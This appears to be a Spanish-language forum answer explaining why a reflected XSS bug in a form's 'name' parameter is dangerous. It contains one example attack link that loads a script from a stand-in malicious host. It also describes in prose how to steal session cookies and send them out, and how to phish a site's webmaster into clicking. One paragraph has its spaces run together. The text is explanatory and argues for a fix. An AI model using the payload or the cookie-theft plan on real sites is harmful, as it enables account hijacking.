Esto puede ser absolutamente malicioso, es definitivamente un error de seguridad y debería solucionarse.
El hecho de que no haya consultas en la URL o que los datos no se hayan guardado en el servidor no importa. Ninguna de esas cosas es lo que hace que el XSS sea peligroso. La parte que hace que XSS sea peligroso es exactamente lo que encontró: parte de la solicitud puede ser ejecutada por el navegador como javascript en la página. Aquí es cómo se vería un ataque, dependiendo de otras formas en que se comporte la página.
Imagine, por ejemplo, que la entrada que encontró se ve así en el HTML:
Your Name: <input type="text" name="name">
(suena como) pusiste un poco de javascript en este formulario, presionaste enviar, y tu javascript se ejecutó cuando regresaste a la página. En otras palabras, el parámetro name
es vulnerable a la inyección XSS. En el mejor de los casos (para el atacante), la página en cuestión mezcla el cuerpo POST y los datos GET, en cuyo caso este parámetro name
es vulnerable independientemente de si se envió un formulario. Si este es el caso, puede crear una carga útil que será ejecutada por alguien simplemente haciendo clic en un enlace:
http://vulnerable-site.com/register?name=<script type="text/javascript" src="http://malicious.site/attack.js">
Cuandounusuariohaceclicenesteenlace,lollevaalsitioweb,seproduceelataqueXSSreflejado,yahoratienejavascriptquecontrolaejecutandoenelnavegadordelavíctima.¿Quétehaceeso?Larespuestaesfácil:todo.Elprimerpasocomúnesmirarelsitiodeantemanoydescubrircómosealmacenanlascredencialesdeautenticación(generalmenteenunacookie).Silamarcahttp-onlynoestáestablecidaenlacookie,loqueelatacantepuedehaceresquesujavascriptextraigaelcontenidodelacookieylaenvíeaunservidorquecontrola.El99%deltiempolascookiesdeautenticacióntienenunIDdesesión,yunavezquetengaelIDdesesión,puedeiniciarsesióncomolapersonasinproblemas.
Entonces,losiguientequedebehacerestomarsuenlacequerobacredenciales,enviaruncorreoelectrónicoaladireccióndecorreoelectrónicodel"webmaster" diciendo: "Oye, algo en su sitio se rompió cuando hice X. Aquí hay un enlace a la página que me rompió ". Luego, si la persona hace clic en el enlace, automáticamente robará sus credenciales y posiblemente obtendrá acceso administrativo al sitio.
Por supuesto, es un vector de ataque de varios pasos, y hay suposiciones en el camino que pueden hacer que no funcione, pero el punto es que incluso cosas aparentemente inocuas como esta son muy peligrosas , especialmente en el contexto de un sitio con seguridad generalmente pobre. A veces, lo que parece una pequeña grieta es en realidad lo suficientemente grande como para atravesar un autobús, una vez que comprendes completamente las implicaciones.